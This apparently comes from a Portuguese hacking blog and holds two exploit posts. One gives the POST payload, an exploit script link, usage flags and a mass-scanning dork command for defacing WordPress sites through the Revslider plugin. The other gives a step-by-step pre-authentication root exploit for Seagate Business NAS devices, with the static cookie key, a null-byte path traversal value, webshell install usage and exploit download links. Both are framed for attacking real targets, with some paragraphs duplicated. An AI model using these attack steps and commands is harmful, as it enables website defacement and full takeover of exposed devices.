[1] - http://target.us/target-admin/fckeditor/editor/filemanager/brow­ser/default/browser.html?Connector=conne­ctors/asp/connector.asp

[2] - http://target.us/userfiles/file/{YOU_FILE}

terça-feira, 24 de março de 2015

WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL

WORDPRESS EXPLOIT Revslider

Exploit que possibilita modificação do arquivo HTML da pagina, o plugin Revslider da plataforma CMS Wordpress  é bem conhecido por outras brechas de segurança, pois bem dessa vez é possível fazer uma pequena modificação do arquivo get_captions_css.

Exploit que possibilita modificação do arquivo HTML da pagina, o plugin Revslider da plataforma CMS Wordpress  é bem conhecido por outras brechas de segurança, pois bem dessa vez é possível fazer uma pequena modificação do arquivo get_captions_css. 

Enviando a requisição:
Via post com seguintes campos:
array(
"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
 "data" => "_YOU_HTML_ADD_"
 );

Dentro no campo data é onde enviamos nosso HTML modificado.
Nossa array post com os dados já previamente preechidos são enviados para seguinte
URL - POST: http://{target}/wp-admin/admin-ajax.php

Com todo processo terminado podemos verifica se foi modificado o HTML do alvo.
URL - FINAL:  http://{target}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css 

USANDO EXPLOIT : 
DOWNLOAD:  http://pastebin.com/a2LHiD7U

EXECUTE:
    -t : SET TARGET.
    -f : SET FILE TARGETS.
    -p : SET PROXY
    Execute:
         php exploit.php -t target
         php exploit.php -f targets
         php exploit.php -t target -p 'http://localhost:9090'



OUTPUT COMAND -t:
OUTPUT: WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL

OUTPUT COMAND -f targets.txt:
OUTPUT COMAND -f targets.txt:


Usando em massa com SCANNER INURLBR:
DOWNLOAD:
https://github.com/googleinurl/SCANNER-INURLBR 

COMANDO:
./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --comand-all 'php inurl_revslider.php -t _TARGET_'

OUTPUT:
OUTPUT: ./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --comand-all 'php inurl_revslider.php -t _TARGET_'

segunda-feira, 2 de março de 2015

Seagate Business NAS / Pre-Authentication Remote Code Execution (0day)

Seagate é um fornecedor bem conhecido em soluções de hardware, com produtos disponíveis em todo o mundo. Sua linha de produtos NAS dirigidas às empresas é chamado de Business Storage 2-Bay NAS. Estes podem ser encontrados dentro de redes domésticas e empresariais e, em muitos casos, eles são expostos publicamente.
Seagate é um fornecedor bem conhecido em soluções de hardware, com produtos disponíveis em todo o mundo. Sua linha de produtos NAS dirigidas às empresas é chamado de Business Storage 2-Bay NAS. Estes podem ser encontrados dentro de redes domésticas e empresariais e, em muitos casos, eles são expostos publicamente.


Os produtos que executam versões de firmware até a versão 2014,00319 foram encontrados vulnerabilidades que permitem a execução remota de código como usuário root.
Essas vulnerabilidades são exploráveis sem necessidade de qualquer forma de autorização no dispositivo.

Detalhes da Vulnerabilidade

Produtos Business Storage 2-Bay NAS vem com um aplicativo de gerenciamento de web habilitado. Este aplicativo permite que os administradores executem funções de configuração de dispositivos usuais, como a adição de usuários, a criação de controle de acesso, gerenciamento de arquivos etc...

A aplicação web é construído com as seguintes tecnologias de base:

  1. PHP versão 5.2.13 (Lançado 25 de fevereiro de 2010)
  2. CodeIgniter 2.1.0 (23 Lançado em novembro de 2011)
  3. Lighttpd 1.4.28 (Lançado 22 de agosto de 2010)

Todas essas três tecnologias são claramente desatualizadas, e as versões listadas do PHP e CodeIgniter são conhecidos por terem problemas de segurança. Em cima dessas tecnologias seta uma aplicação PHP personalizado, que contém em si uma série de brechas relacionadas à segurança é digamos bem problemático.

Detalhes sobre as tecnologias setadas acima o porque estão defasadas, tais versões.

PHP 5.2.3

As versões do PHP anteriores à 5.3.4 permitir aos usuários especificar caminhos de arquivo que incluem um byte NULL (CVE-2006-7243). Essa brecha permite que os dados controlados pelo usuário para encerrar prematuramente caminhos de arquivo, permitindo controle total sobre a extensão do arquivo.
Demonstrado por .php\0.jpg no final do argumento para a função file_exists.

CodeIgniter 2.1.0

Versões do CodeIgniter  2.2.0 criam tokens de sessão que são constituídos de um array associativo PHP serializado (hash), que foi criptografada usando um algoritmo personalizado.
Este hash de PHP contém dados controladas pelo utilizador, o que torna possível para os usuários uma extração de chave pa (criptografar e descriptografar) o conteúdo do cookie (CVE-2014-8686). Uma vez decifrados, os usuários podem modificar o conteúdo do cookie e re-encrypt antes de enviá-lo de volta para o servidor, resultando em outros vetores de ataque potenciais, incluindo PHP object injection.

Exploitation / Bypass

É simples de explorar os problemas listados acima para obter a execução de código arbitrário no dispositivo como o usuário root. Os principais passos necessários para alcançar este objectivo são:

O atacante deve escrever código PHP para o sistema de arquivos no NAS.
Isso pode ser feito de várias maneiras, incluindo:

  1. HTTP access envenenamento arquivo de log por meio do cabeçalho User-Agent.
  2. HTTP error envenenamento arquivo de registro através do cabeçalho do host.
  3. Modificando a descrição do dispositivo na interface do aplicativo web. Este escreve cadeias controladas pelo usuário para um arquivo localizado em /etc/DeviceDesc, no entanto, requer direitos administrativos.
  4. Upload de arquivos para um compartilhamento de arquivo que o dispositivo tenha exposto. 
  • O atacante deve, então, manipular o conteúdo da variável de idioma no cookie de sessão para que ele contém o caminho para o PHP controlado pelo invasor no sistema de arquivos.
  • A falha byte NULL em PHP deve ser utilizado no fim de este valor para forçar o PHP ignorar quaisquer caracteres que são acrescentados ao caminho do arquivo pelo aplicativo web.
  • O invasor, então, faz um pedido com os cookies manipulados, resultando na execução de código como root.

O Script-Exploit

 Beyond Binary(https://beyondbinary.io/) produziu um módulo Metasploit e um script Python standalone que automatizar o processo de exploração. Cada um desses scripts ter a seguinte abordagem:

  1. Conecta-se a meta de NAS e extrai um cookie ci_session.
  2. Decifrar o cookie usando a chave de criptografia estática de 0f0a000d02011f0248000d290d0b0b0e03010e07 e extrair o hash PHP.
  3. Modifica o hash PHP serializado para que o nome de usuário é definido como administrador e o campo is_admin está definido para yes.
  4. Criptografe essa hash atualizando o PHP pronto para uso posterior como um cookie ci_session. Este cookie permite agora que os futuros pedidos para operar no NAS como se fossem um administrador("DILIÇÇA CARA").
  5. Executar um pedido para extrair a configuração do host, que inclui a descrição do dispositivo.
  6. Modificar a configuração de host para que a descrição do dispositivo contenha uma pequena stager payload.
  7. Executar uma solicitação para atualizar a configuração do host com os novos dados, de modo que a stager payload é gravado em /etc/DeviceDesc.
  8. Modificar o hash PHP novamente para que o parâmetro de idioma contenha o  ../../../../etc/devicedesc\x00 como valor (note o byte NULL no final).
  9. Criptografar a nova hash PHP pronto para uso futuro como um cookie ci_session.
  10. Executar um pedido para NAS usando o cookie criado na etapa anterior. Isso chama a stager que foi escrito para o disco. Pedindo um mensagens como uma carga maior, que é gravado em disco na raiz do servidor web.
  11. Executa um outro pedido que, em seguida, redefine a configuração de host de volta ao que era antes da exploração.
Shodan(https://www.shodan.io/) relata que há mais de 2.500 dispositivos expostos publicamente na Internet que são possíveis vulneráveis.

Explots disponíveis para download aqui:

Beyond Binary(https://beyondbinary.io/) produziu um módulo Metasploit e um script Python standalone que automatizar o processo de exploração. Cada um desses scripts ter a seguinte abordagem:  Conecta-se a meta de NAS e extrai um cookie ci_session. Decifrar o cookie usando a chave de criptografia estática de 0f0a000d02011f0248000d290d0b0b0e03010e07 e extrair o hash PHP. Modifica o hash PHP serializado para que o nome de usuário é definido como administrador e o campo is_admin está definido para yes. Criptografe essa hash atualizando o PHP pronto para uso posterior como um cookie ci_session. Este cookie permite agora que os futuros pedidos para operar no NAS como se fossem um administrador("DILIÇÇA CARA"). Executar um pedido para extrair a configuração do host, que inclui a descrição do dispositivo. Modificar a configuração de host para que a descrição do dispositivo contenha uma pequena stager payload. Executar uma solicitação para atualizar a configuração do host com os novos dados, de modo que a stager payload é gravado em /etc/DeviceDesc. Modificar o hash PHP novamente para que o parâmetro de idioma contenha o  ../../../../etc/devicedesc\x00 como valor (note o byte NULL no final). Criptografar a nova hash PHP pronto para uso futuro como um cookie ci_session. Executar um pedido para NAS usando o cookie criado na etapa anterior. Isso chama a stager que foi escrito para o disco. Pedindo um mensagens como uma carga maior, que é gravado em disco na raiz do servidor web. Executa um outro pedido que, em seguida, redefine a configuração de host de volta ao que era antes da exploração.

----------------------------------------------------------------------------------------------------
https://beyondbinary.io/exploits/bbsec001/seagate_nas_php_exec_noauth.rb
OU
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
----------------------------------------------------------------------------------------------------
https://beyondbinary.io/exploits/bbsec001/seagate_nas_php_exec_noauth.py
OU
http://www.exploit-db.com/exploits/36202/
----------------------------------------------------------------------------------------------------

Seagate Business NAS <= 2014.00319 - Pre-Authentication Remote Code Execution (0day)

Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This module has been tested on the STBN300 device.

CVE-2014-8684 , CVE-2014-8686 , CVE-2014-8687

 Usage
 =====
 seagape.py <ip> <port> [-c [ua]]

 - ip   : ip or host name of the target NAS
 - port : port of the admin web ui
 - -c   : (optional) create a cookie which will give admin access.
          Not specifying this flag results in webshell installation.
 - ua   : (optional) the user agent used by the browser for the
          admin session (UA must match the target browser).
          Default value is listed below

 Example
 =======
 Install and interact with the web shell:
 seagape.py 192.168.0.1 80

 Create admin cookie
 seagape.py 192.168.0.1 80 -c
http://1337day.com/exploit/23338
----------------------------------------------------------------------------------------------------

REF:
http://www.rapid7.com/db/vulnerabilities/php-cve-2006-7243
https://beyondbinary.io/advisory/seagate-nas-rce/